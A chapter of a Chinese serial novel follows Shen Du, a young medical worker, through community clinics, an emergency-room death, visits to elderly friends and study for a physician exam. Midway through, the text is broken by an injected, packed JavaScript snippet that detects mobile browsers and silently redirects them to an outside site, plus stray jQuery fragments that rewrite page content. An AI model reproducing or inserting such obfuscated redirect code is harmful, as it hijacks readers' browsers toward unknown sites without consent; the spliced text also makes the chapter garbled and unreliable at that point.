十一月的第二个周六，沈渡在社区义诊时收到了一份快递。不是快递员送来的，是放在活动中心门口的，牛皮纸信封，上面打印着她的名字，没有寄件人。她拆开的时候正在给一个老大爷把脉，信封里掉出一张纸。她捡起来，是一张请柬，淡绿色的底，烫金的字——“鼎盛集团新院区落成典礼，恭请沈渡女士莅临。”时间在下周五，地点在城东，裴衍的新医院。沈渡把请柬放在桌上，继续给老大爷把脉。老大爷问谁寄的，她说“一个病人”。老大爷没再问了。
下午义诊结束，沈渡去贺老那里。贺老在院子里扫落叶，枇杷树的叶子已经落了大半。沈渡接过扫帚，把剩下的落叶拢成一堆。
“裴衍寄了请柬，新院区落成，请我去。”
“你去吗？”
“不知道。”
贺老在廊下坐着，开始泡茶。“医院是他的，你去不去是你的自由，不是他的命令。”
沈渡把落叶堆好，走过去坐下来。茶杯里的水冒着热气。她想起裴衍说“你像一个人”，想起林院长也说过同样的话。她不知道那个人是谁，但她在那个人的影子里活了很久。她不需要再活在影子里了，她有自己的光。
周五下午，沈渡没有去裴衍的新院区落成典礼。她去了急诊科，值班。陈槿问她怎么没去，她说不去。陈槿没有追问，只是把一沓病历放在她面前，让她整理。她一张一张地翻，从主诉到现病史，从查体到辅助检查，从诊断到治疗方案。每一个字都看得很仔细，她知道自己看的不是字，是命。
傍晚的时候，裴衍发来一条短信，只有一句话：“请柬你收到了吗？”沈渡回复：“收到了。”“不来？”“不来。”“好。”沈渡把手机放回口袋。没有生气，没有追问，只是“好”。这个“好”字是什么意思？可能是“我知道了”，也可能是“尊重你的决定”。沈渡不知道，也不需要知道。她做了决定，就够了。
天快黑的时候，急诊室送来一个病人。从建筑工地上拉来的，高空坠落，多发伤。沈渡跟着陈槿跑过去，病人躺在地上，浑身是血，意识不清。陈槿蹲下来检查，头、颈、胸、腹、骨盆、四肢，一边检查一边喊：“血压多少？心率多少？血氧多少？”护士在旁边报数字。沈渡看着那些数字，记在脑子里。病人被推进抢救室，陈槿跟进去，沈渡站在门口没有跟。她知道自己进去也帮不上忙，不如在外面等着。需要她的时候，她会进去。
病人没有救回来。伤太重了，内脏破裂，大出血。沈渡站在走廊里，看着护士把白布盖上。家属还没来，也许在来的路上，也许还在工地，也许还不知道。她站在那里，不知道站了多久。走廊的灯白得刺眼，地面的瓷砖亮得能照出人影。她看到自己的影子倒映在地板上，瘦瘦的，头发有点乱。
陈槿走出来，看到她，走过来在她旁边站了一会儿。“你是新来的？”“嗯。”“习惯就好。”沈渡不知道她能不能习惯。也许能，也许不能。但她在这里，她不会走。
周六，沈渡去社区义诊。来的人比平时多，她忙到快一点才结束。最后一个人走的时候，林医生从隔壁诊室探出头来。“沈渡，你那个病人，姓裴的，他的新医院你知道吗？”“知道。”“你不去？”“不去。”林医生没有追问。沈渡不知道林医生为什么问，也许只是随口一说。她在诊室里坐了一会儿，阳光从窗户照进来，落在白大褂上。口袋里还有一张没发完的高血压防治手册，她拿出来翻了翻，里面有一页折了角，她用手指捻平，放在桌上给下一个人留着了。
下午沈渡去了陈媛家。陈媛今天去医院复查了，血象正常，血小板正常，骨髓正常。沈渡坐在沙发上剥橘子。橘子很酸，酸得她眯了一下眼。陈媛看着她的样子笑了，笑着笑着眼泪流了下来。沈渡把纸巾递过去，陈媛接过来擦了擦眼。“沈渡，你知道吗，我的命是你救的。不是别人，是你。”
沈渡看着手里的橘子，把最后一瓣放进嘴里。“你的命是你自己的。我只是在旁边看着。”陈媛摇了摇头。“你不仅看着，你还伸手了。你伸手了，我就抓住了。”沈渡不知道怎么回答，她只是伸手了。就像当初在站台上扶住那个晕倒的女人，就像在地铁站把赵大爷的挂号单放在收银台上，就像在贺老的院子里坐在枇杷树下。她伸手了，手在，心就在。
周日中午，沈渡去了赵大爷的便利店。赵大爷在吃午饭，一碗白粥一碟咸菜。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17688596|206186||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
沈渡在旁边坐下来。她拿起那碗白粥喝了一口，没味道。“大爷，您怎么又吃白粥？”“一个人，懒得做。”沈渡放下碗。“大爷，您以后午饭来我家吃。我做饭，您吃。”赵大爷看着她，笑了。“你会做饭吗？”“会。鱼汤。”赵大爷又笑了，露出缺了牙的牙龈。“好，改天去。”
沈渡知道他不会来。不是不想来，是不好意思。一个人住久了，不习惯去别人家。沈渡知道那种感觉，她的出租屋也很少有人来。她没来过客人，不会招待，不知道客人来了该说什么。但她知道鱼汤怎么炖，把鱼煎一下，加热水，放姜，煮到汤白。这是她在菜市场学到的，卖鱼的阿姨教她的。
傍晚沈渡去了贺老那里。枇杷树的叶子差不多落光了，只剩下几片还挂在枝头。贺老坐在廊下，泡了一壶新茶。
“沈渡，你明年六月考助理医师？”
“嗯。”
“书看得怎么样了？”
“在看。”
“光看不够。要做题。真题做三遍，错题做五遍。”
沈渡把这句话记住了。林院长也说过。每个老师都这么说，说明做题真的很重要。
从贺老家出来，天已经黑了。沈渡走在巷子里，墙很高，路灯很暗。她摸着墙走，手指触到砖缝，粗粝的，凉丝丝的。她想起第一次来的时候，也是这样摸着墙走，怕黑，怕迷路，怕不知道自己在哪。现在不怕了，她认识路。
晚上沈渡把那本《助理医师资格考试真题解析》翻开。内科学，呼吸系统，慢性阻塞性肺疾病——第一题答对了，第二题答错了，第三题答对了。她把错题抄在一个本子上，下面写着解析：COPD急性加重期，首选治疗是控制性氧疗，不是高流量吸氧。高流量会抑制呼吸中枢，导致二氧化碳潴留。她记住了。不会的字可以查，做错的题可以改。她没什么怕的。
窗外的路灯亮着，飞蛾还在扑棱。沈渡关了台灯，看着那只飞蛾。路灯的玻璃罩上有很多小黑点，是飞蛾的尸体。她不知道那只飞蛾会不会也成为其中之一。也许不会，也许明天它就飞走了，飞到另一个有光的地方。她也是，从一个光到另一个光。她不知道终点在哪里，但她知道方向。